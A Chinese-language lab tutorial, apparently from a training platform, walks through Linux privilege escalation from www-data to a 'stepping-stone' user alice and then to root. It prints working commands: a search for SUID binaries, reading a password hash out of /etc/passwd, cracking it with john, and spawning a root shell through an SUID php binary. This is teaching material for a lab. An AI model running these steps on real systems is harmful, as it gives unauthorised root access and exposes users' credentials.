介绍
在本实验中,我们将学习在无法直接提升到 root 用户时,如何逐步提升权限至 root 用户。我们将通过首先提升到另一个普通用户,然后利用该用户的权限来提升到 root 用户来实现这一目标。这个中间用户被称为“垫脚石”用户。
本实验的目标是从 www-data 用户提升权限到 alice 用户,然后再从 alice 用户提升到 root 用户。
在本实验中,我们将学习在无法直接提升到 root 用户时,如何逐步提升权限至 root 用户。我们将通过首先提升到另一个普通用户,然后利用该用户的权限来提升到 root 用户来实现这一目标。这个中间用户被称为“垫脚石”用户。
本实验的目标是从 www-data 用户提升权限到 alice 用户,然后再从 alice 用户提升到 root 用户。
在这一步骤中,我们将初始化实验环境。
首先,打开终端并导航到 /home/labex/project
目录:
cd /home/labex/project
运行以下命令以设置实验所需的环境:
./env_setup.sh
该命令将下载并执行一个脚本,用于设置实验所需的环境。运行此命令后,你应该会被切换到 www-data
用户,模拟通过 Web 漏洞获取的初始 shell。
在这一步骤中,我们将尝试使用 SUID(Set User ID)技术来提升权限。我们将搜索设置了 SUID 位的可执行文件,这些文件可以以文件所有者(在本例中为 root)的权限执行。
首先,让我们搜索 www-data
用户可以访问的 SUID 可执行文件:
find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt
该命令将在整个文件系统中搜索由 root 用户拥有且设置了 SUID 位(权限模式为 4000)的文件。
运行命令后,你应该会在 www-data_suid_files.txt
文件中看到一系列 SUID 可执行文件。让我们查看该文件的内容:
cat ~/www-data_suid_files.txt
然而,在本例中,没有适合用于 SUID 权限提升的文件。
由于我们无法通过 SUID 技术提升权限,现在让我们调查主目录以寻找潜在的垫脚石用户。
首先,将 /home
目录的内容保存到一个文件中以便进一步分析:
ls -alh /home > ~/home_dir_contents.txt
该命令将以长格式列出 /home
目录的内容,包括文件大小和权限,并将其保存到 home_dir_contents.txt
文件中。
接下来,让我们检查 home_dir_contents.txt
文件的内容,以识别任何潜在的垫脚石用户:
cat ~/home_dir_contents.txt
你应该会在输出中看到一个名为 alice
的目录,这表明系统中存在一个名为 alice
的用户。
由于 www-data
用户无法访问 alice
目录,我们需要先找到一种方法来提升权限至 alice
用户。
让我们检查 /etc/passwd
文件以获取有关 alice
用户的信息:
cat /etc/passwd | grep alice > ~/alice_info.txt
检查 alice_info.txt
文件的内容以查看 alice
用户的详细信息:
cat ~/alice_info.txt
预期输出:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash
在输出中,你应该会看到 alice
用户的条目,包括密码哈希值。
为了破解密码哈希值,我们可以使用 john
工具。打开一个新的终端并运行以下命令:
john ~/alice_info.txt > cracked_passwords.txt
示例输出:
Created directory: /var/www/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
这将启动密码破解过程。一旦密码被破解,你应该会在 cracked_passwords.txt
文件中看到密码。
cat ~/cracked_passwords.txt
示例输出:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
beautiful (alice)
在本例中,alice
用户的密码是 beautiful
。使用 su
命令切换到 alice
用户:
su - alice
在提示时输入我们之前破解的密码(beautiful
)。
beautiful
成功切换到 alice
用户后,导航到 alice
目录并创建一个名为 alice.txt
的新文件:
cd /home/alice
创建一个名为 alice.txt
的新文件:
touch ~/alice.txt
你现在应该可以访问 alice
目录及其内容了。
现在我们已经将权限提升至 alice
用户,让我们再次尝试 SUID 权限提升技术。
确保你位于 alice
用户的主目录中:
cd /home/alice
运行以下命令以查找设置了 SUID 位的文件:
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
检查 alice_suid_files.txt
文件的内容以查看 SUID 文件列表:
cat alice_suid_files.txt
预期输出:
...
/var/bin/php
...
这次,你应该会在输出中看到一个可执行文件 /var/bin/php
。该文件可用于 SUID 权限提升。
为了将权限提升至 root 用户,运行以下命令:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"
该命令将执行一个 PHP 脚本,生成一个具有 root 权限的新 shell。
你现在应该拥有一个 root shell,终端中的 #
提示符表示这一点。通过在根目录中创建一个文件来验证你是否拥有 root 权限:
touch /root/root.txt
如果文件创建时没有出现任何权限错误,说明你已成功使用 SUID 技术将权限提升至 root 用户。
你可能会好奇,为什么 alice
用户能够找到 SUID 可执行文件 php
,而 www-data
用户却无法找到。答案在于目录权限。
在上一步之后,你应该仍然拥有一个 root
用户的 shell,如下所示:
sh-5.1#
让我们检查 /var/bin
目录的权限并将输出保存到文件中:
ls -lh /var > /root/var_permissions.txt
检查 var_permissions.txt
文件的内容以查看 /var
目录的权限:
cat /root/var_permissions.txt
预期输出:
total 0
...
drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin
...
在输出中,你应该会看到 /var/bin
目录由 alice
用户和组拥有。其他用户没有对该目录的读、写或执行权限。
这意味着当我们提升到 alice
用户时,我们获得了对之前 www-data
用户无法访问的文件和目录的访问权限。这种权限差异使我们能够找到并利用 SUID 可执行文件进行权限提升。
在本实验中,我们学习了如何在无法直接提升到 root 用户的情况下,通过先提升到 alice
用户(一个垫脚石用户),然后利用 alice
用户的权限来提升到 root 用户。
本实验的关键要点是始终注意用户之间的权限差异,因为这些差异有时可以被利用来进行权限提升。虽然我们在本实验中使用了一个简单的示例,但现实场景可能更加复杂,但核心原则保持不变:利用用户权限的差异来实现权限提升。